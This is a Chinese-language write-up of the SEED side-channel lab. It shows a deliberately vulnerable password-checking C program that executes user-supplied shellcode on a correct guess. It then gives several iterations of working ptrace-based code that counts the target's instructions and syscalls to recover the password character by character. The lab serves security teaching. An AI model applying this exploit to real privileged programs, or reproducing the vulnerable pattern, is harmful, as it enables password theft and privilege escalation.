SEED 侧信道攻击实验

本实验是通过侧信道攻击的方式实现密码破解。

//sidechannel.c
//s.pass root只读
//S1deCh4nnelAttack3r
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
       FILE *in = 0;
       char pass[20]="";
       unsigned int i=0, j=0;
       unsigned short correct=0,misplaced=0;
       unsigned short pwlen=strlen(pass) - 1, inlen=0;
       if(argc != 3 || (inlen=strlen(argv[1]) - 1) > 19)
               return 1;

       setresuid(geteuid(),geteuid(),geteuid());

       in = fopen("s.pass","r");
       pass[fread(pass, 1,19,in)] = 0;
       fclose(in);

       for (i = 0; i <= inlen && i <= pwlen; i++)
               if(pass[i] == argv[1][i])
                       correct++;
               else
                       for(j = 1; j < pwlen; j++)
                               if(argv[1][i] == pass[(i+j)%19])
                                       misplaced++;

       if(correct == 19)
               ((void (*)()) argv[2])();

       return 0;
}

分析上述代码，如果输入的密码和s.pass的某一位密码不一致的时候，会进入下面的一个循环。由于pwlen初始化的时候pass的长度为0，而且再此基础上-1，这样unsigned short类型的pwlen会溢出成一个很大的值。所以密码错误的时候执行的时间会比正确的时候长，根据这个时间差异就可以实现侧信道攻击。

大部分的攻击方式是通过运行的时间不同，来判断当前猜测的这一位密码是否猜测正确。例如通过system函数来执行某条指令，并且计算该指令运行时长，从而判断密码是否正确。但是system执行的过程中，除了执行目标指令外还会有其他的一些指令，这会减少目标指令在整个system中执行时间的占比，从而会降低准确率，所以不得不增加执行次数来放大密码正确和密码错误之间的差异。在此基础上，仅使用exec配合fork可以实现相同的效果，同时减少了目标指令以外的指令执行，在执行次数很少时，就可以看出不同分支之间的差异。可以看出，上述两种方式都是基于时间差异实现的。

事实上这两种方式的本质都是执行指令条数不同，那么一种更准确的方式就是直接统计指令条数。

linux对于ptrace的介绍：

The ptrace() system call provides a means by which one process
(the “tracer”) may observe and control the execution of another
process (the “tracee”), and examine and change the tracee’s memory
and registers. It is primarily used to implement breakpoint
debugging and system call tracing.

有了ptrace我们就可以跟踪子进程的运行状态了，从而可以直接统计出子进程的执行过的指令条数。于是我们可以写出下面的代码。

#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <limits.h>
int main(){
    char table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    char password[20]="";
    int j = 0;
    long last_min = 0;
    for(j = 0;j<18;j++){
        int i = 0;
        long min = 0;
        min = LONG_MAX;
        char ch;
        for(i = 0;i<strlen(table);i++)
        {
            password[j] = table[i];
    
            pid_t  pid = fork();
            if(pid == 0){
                if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) {
                    perror("ptrace PTRACE_TRACEME failed");
                    exit(1);
                }
                execl("./sidechannel","sidechannel",password,"1",NULL);
            }else{
                int status;
                long instruction_count = 0;
                int jump = 0;
                if (waitpid(pid, &status, 0) == -1) {
                    perror("waitpid failed");
                    exit(1);
                }
                while (WIFSTOPPED(status)) {
                    instruction_count++;
                    if(instruction_count>min){
                        ptrace(PTRACE_CONT,pid,NULL,NULL);
                    }else{
                        ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);            
                    }
                    waitpid(pid, &status, 0);
                }
                if(instruction_count < min){
                    min = instruction_count;
                    ch = table[i];
                }
                printf("password %s , count %ld\n",password,instruction_count);
            }
            password[j] = ch;
            printf("min instruction count: %ld  char: %c\n",min,ch);
            last_min = min;
        }
    }
}

上面的代码思路是，猜测每一位密码时都会遍历字符表，并且统计出运行指令条数最少的所对应的字符，并把它记录下来，这就是正确的密码。然而这个代码的运行效率非常低，实在是太慢了。一方面是，每次遍历都把min = LONG_MAX。另一方面是，每次个指令都有一次上下文切换，实在是太耗时了。

事实上，尽管正确的密码变长了，执行的指令次数增加了，但也是远远小于进入错误循环的。所以min可以更新为上一次先前最小值增加一点比如（1.3*last_min）。

大概就是这样子：

if( last_min == 0){
	min = LONG_MAX;
}else{
	min = 1.3*last_min;
}
        

确实快了一点，找到第一个正确值之后，就可以确定正确的密码大概会运行多少指令，后面如果超过这个基准很多的话，就基本可以判断这一位密码猜错了，可以直接跳过了。

然而，这个速度还是太慢了。我认为不断地从父进程切换到子进程，上下文的切换有大量的时间开销。而且我们其实并不需要准确的统计精确的指令条数，只需要知道个大概就行，于是我就开始寻找类似单语句执行的实现，来减少上下文切换，然而没有找到。但是我找到了一个至少比PTRACE_SINGLESTEP更好的方式，那就是PTRACE_SINGLEBLOCK。

enum __ptrace_request
{

    //...

      /* Execute process until next taken branch.  */
     PTRACE_SINGLEBLOCK = 33,
    #define PT_STEPBLOCK PTRACE_SINGLEBLOCK

    //...

}

我尝试了一下，成功地失败了。因为我的Ubuntu12上还没有这个？

我又找了一下，找到了一个PTRACE_SYSCALL，它可以实现子进程运行到系统调用时再通知父进程，好像也有点用？？？于是我就修改了代码，写成了下面这样：

#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <limits.h>

int main(){
    char table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    char password[20]="";
    int j = 0;
    long last_min = 0;
    int syscall_count = 0;
    if(syscall_count == 0){
        pid_t pid = fork();
        if(pid==0){
            ptrace(PTRACE_TRACEME, 0, NULL, NULL);
            execl("./sidechannel","sidechannel","1","1",NULL);
        }else{
            int status;
            waitpid(pid, &status, 0);
            while (WIFSTOPPED(status)) {
                syscall_count++;
                ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
                waitpid(pid, &status, 0);
            }
        }
    }
    printf("syscall : %d\n",syscall_count);
    for(j = 0;j<19;j++){
        int i = 0;
        long min = 0;
        if(last_min==0){
            min = LONG_MAX;
        }else{
            min = last_min*1.3;
        }
        char ch;
        for(i = 0;i<strlen(table);i++)
        {
            password[j] = table[i];
            pid_t  pid = fork();
            if(pid == 0){
                ptrace(PTRACE_TRACEME, 0, NULL, NULL);
                execl("./sidechannel", "sidechannel", password, "1", NULL);
            }else{
                int status;
                long instruction_count = 0;
                int jump = 0;
                waitpid(pid, &status, 0);
                while (WIFSTOPPED(status)) {
                    instruction_count++;
                    jump++;
                    if(instruction_count>min ){
                        ptrace(PTRACE_CONT,pid,NULL,NULL);
                    }else{
                        if(jump<syscall_count-1){
                            ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
                        }else{
                            ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
                        }
                    }
                    waitpid(pid, &status, 0);
                }
                if(instruction_count < min){
                    min = instruction_count;
                    ch = table[i];
                }
    
                printf("password %s , count %ld\n",password,instruction_count);
            }
            
            password[j] = ch;
            printf("min instruction count: %ld  char: %c\n",min,ch);

            last_min = min;
        }
    
    }
    printf("password : %s",password);
}

这个思路还是和最开始一样，也就是减少无关指令的执行。首先是统计出一共执行了多少次syscall，最后那个循环肯定是在最后某一次syscall之后执行的吧（我猜的，因为原程序前半部分调用了getuid(),fopen(),fread()等函数，最后那个循环附近没啥函数，所以猜测耗时的循环在最后那几次syscall附近吧），那么我们就可以用PTRACE_SYSCALL跳过前面的大部分代码，聚焦最后一个循环，只统计这部分指令的执行次数。

最后猜对了密码会出现segment fault，因为我们的shellcode就是随便写的1嘛。所以增加一点判断，确保程序可以正常退出。

while (WIFSTOPPED(status)) {
    instruction_count++;
    jump++;
    if(instruction_count>min){
        ptrace(PTRACE_CONT,pid,NULL,NULL);
    }else{
        if(jump<syscall_count-1){
            ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
        }else{
            ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
        }
    }
    waitpid(pid, &status, 0);

    //判断一下子进程是不是segment fault了，是就猜对了，可以退出了。
    if (WSTOPSIG(status) == SIGSEGV) {
		kill(pid, SIGKILL);
		break;
	}
}

最终的效果也是非常不错，除了猜测第一个值花费了很多时间以外，其他的基本上一秒能爆破出两个数，实测下来第一个字符用了两分半，后面的字符一共十秒左右。

写到这里我突然觉得我很傻逼，因为既然我都ptrace了，为啥不直接判断有没有进那个大循环？？？如果你在此之前就想到这一点了，那么可以说明这个世界上像我这样的傻逼已经不多了。

最后就是这样子，事实上，如果一开始就吧min初始化成一个比较小，同时又大于进入正确循环所需要执行的指令数的值（比如5000），这个方法效率就比较高了，基本上15秒就可以解决这个问题了。但是正如我前文所说，既然我都这样了，为啥不直接判断是否进入错误分支呢？这个世界上像我这样的傻逼已经不多了。

#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <limits.h>

int main(){

    char table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

    

    char password[20]="";


    int j = 0;

    long last_min = 0;

    int syscall_count = 0;

    if(syscall_count == 0){
        pid_t pid = fork();
        if(pid==0){
            ptrace(PTRACE_TRACEME, 0, NULL, NULL);
            execl("./sidechannel","sidechannel","1","1",NULL);
        }else{
            int status;
            waitpid(pid, &status, 0);
            while (WIFSTOPPED(status)) {
                syscall_count++;
                ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
                waitpid(pid, &status, 0);
            }
        }
    }
    printf("syscall : %d\n",syscall_count);

    for(j = 0;j<19;j++){
        int i = 0;

        long min = 0;

        if(last_min==0){
            min = LONG_MAX;
        }else{
            min = last_min*1.3;
        }
        char ch;
        for(i = 0;i<strlen(table);i++)
        {
    
            password[j] = table[i];
    
            pid_t  pid = fork();
            if(pid == 0){
                ptrace(PTRACE_TRACEME, 0, NULL, NULL);
                execl("./sidechannel", "sidechannel", password, "1", NULL);
            }else{
                int status;
                long instruction_count = 0;
                int jump = 0;
                waitpid(pid, &status, 0);
                while (WIFSTOPPED(status)) {
                    instruction_count++;
                    jump++;
                    if(instruction_count>min ){
                        ptrace(PTRACE_CONT,pid,NULL,NULL);
                    }else{
                        if(jump<syscall_count-1){
                            ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
                        }else{
                            ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);
                        }
                    }
                    waitpid(pid, &status, 0);
		    if (WSTOPSIG(status) == SIGSEGV) {
			kill(pid, SIGKILL);
		        break;
		    }
                }
                if(instruction_count < min){
                    min = instruction_count;
                    ch = table[i];
                }
    
                printf("password %s , count %ld\n",password,instruction_count);
            }
            
            password[j] = ch;
            printf("min instruction count: %ld  char: %c\n",min,ch);

            last_min = min;
        }
    
    }
    printf("password : %s",password);
}